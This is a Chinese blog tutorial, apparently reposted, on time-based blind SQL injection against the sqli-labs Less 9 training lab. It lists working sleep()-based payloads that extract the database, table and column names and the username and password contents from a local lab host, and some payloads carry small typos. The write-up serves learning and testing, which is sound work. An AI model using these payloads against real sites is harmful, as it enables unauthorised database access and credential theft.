SQL注入学习——时间盲注详解 sqli-labs(Less 9)
文章目錄
- 前言:
- 一、基礎(chǔ)知識
- 1、時(shí)間盲注簡介:
- 2、時(shí)間盲注常用的函數(shù):
- 二、Less9 基于時(shí)間的單引號盲注
- 1、判斷數(shù)據(jù)庫名的長度:
- 2、猜測數(shù)據(jù)庫:
- 3、判斷表名的長度
- 4、猜測 security 的數(shù)據(jù)表:
- 5、猜測 users 表的列:
- 6、猜測 username 的值:
前言:
今天來總結(jié)下時(shí)間盲注的知識。
一、基礎(chǔ)知識
1、時(shí)間盲注簡介:
時(shí)間盲注 和 Bool 盲注很像,區(qū)別就是 “參照物” 的不同,Bool 盲注是通過頁面的一些變化來進(jìn)行判斷結(jié)果,但是有時(shí)候,執(zhí)行一些 sql 語句的測試,頁面不會(huì)有像布爾盲注那樣直觀的變化,這個(gè)時(shí)候可以在布爾盲注的基礎(chǔ)上結(jié)合 if 判斷和 sleep() 函數(shù)來得到一個(gè)時(shí)間上的延遲參照,也就可以讓我們進(jìn)行一些判斷。也就是所謂的 “時(shí)間盲注”,又叫“延時(shí)注入”。
2、時(shí)間盲注常用的函數(shù):
if(expr1,expr2,expr3):判斷語句,如果第一個(gè)語句正確就執(zhí)行第二個(gè)語句,如果錯(cuò)誤執(zhí)行第三個(gè)語句 sleep(n) 將程序掛起一段時(shí)間 n單位為秒 left(a,b) 從左側(cè)截取a的前b位 substr(a,b,c) 從b位置開始,截取字符串a(chǎn)的c長度 mid(a,b,c) 從位置b開始,截取a字符串的c位 length() 返回字符串的長度 Ascii() 將某個(gè)字符轉(zhuǎn)換為ascii值 char() 將ASCII碼轉(zhuǎn)換為對應(yīng)的字符直接來看題吧。
二、Less9 基于時(shí)間的單引號盲注
嘗試使用單引號、雙引號閉合、?id=1 and 1=2,都發(fā)現(xiàn)回顯正常,說明這關(guān)對所有信息都做了統(tǒng)一輸出。這時(shí)候就要使出最后的殺手锏了——延時(shí)注入,先判斷能否延時(shí)注入:
等待了好幾秒,說明sleep函數(shù)被執(zhí)行了,即存在延時(shí)注入,并且閉合符號為單引號。
還是按照之前的方法繼續(xù)盲注:
測試的核心語句是:if(查詢語句,1,sleep(5)),即如果我們的查詢語句為真,那么直接返回結(jié)果;如果我們的查詢語句為假,那么過5秒之后返回頁面。所以我們就根據(jù)返回頁面的時(shí)間長短來判斷我們的查詢語句是否執(zhí)行正確。
1、判斷數(shù)據(jù)庫名的長度:
語法:
?id=1' and if(leng(database())=x,1,sleep(5))--+通過變換 x 的值來確定數(shù)據(jù)庫名的長度,得到數(shù)據(jù)庫名的長度為8。
2、猜測數(shù)據(jù)庫:
語法:
?id=1' and if(ascii(substr(database(),x,1))=y,1,sleep(5))--+測試第一位:
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+測得第一位是 s(ascii 碼是 115)
?id=1'and if(ascii(substr(database(),2,1))=101,1,sleep(5))--+得到第二位是 e(ascii 碼是 101)… 以此類推,知道了數(shù)據(jù)庫名是 security。接下來猜解數(shù)據(jù)表。
首先要先判斷表的長度
3、判斷表名的長度
語法:
?id=1' and if(length(select table_name from information_schema.tables where table_schema = database() limit x,1)<y,1,sleep(5))--+同理確定所有表名的長度。
4、猜測 security 的數(shù)據(jù)表:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5))--+猜得第一個(gè)數(shù)據(jù)表的第一位是 e,…依次類推,得到 emails
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,1,sleep(5))--+得到第二個(gè)數(shù)據(jù)表的第一位是 r,…依次類推,得到 referers … 再以此類推,我們可以得到所有的數(shù)據(jù)表 emails,referers,uagents,users。
接下來判斷字段名與數(shù)據(jù)內(nèi)容,還是和上面一樣的套路,判斷長度,判斷名字,后面就不再贅述了。
5、猜測 users 表的列:
127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+猜得 users 表的第一個(gè)列的第一個(gè)字符是 i, 以此類推,得到列名是 id,username,password
6、猜測 username 的值:
127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+猜得 username 的第一行的第一位,以此類推,得到 username,password 字段的所有內(nèi)容。
以上就是利用 sleep() 函數(shù)注入的整個(gè)過程。手工注入過程很是繁瑣,可以用二分法提高效率,但大部分情況下都會(huì)選擇寫腳本注入。
總結(jié)
以上是生活随笔為你收集整理的SQL注入学习——时间盲注详解 sqli-labs(Less 9)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 远程命令执行与代码执行(remote c
- 下一篇: Bugku—web(一)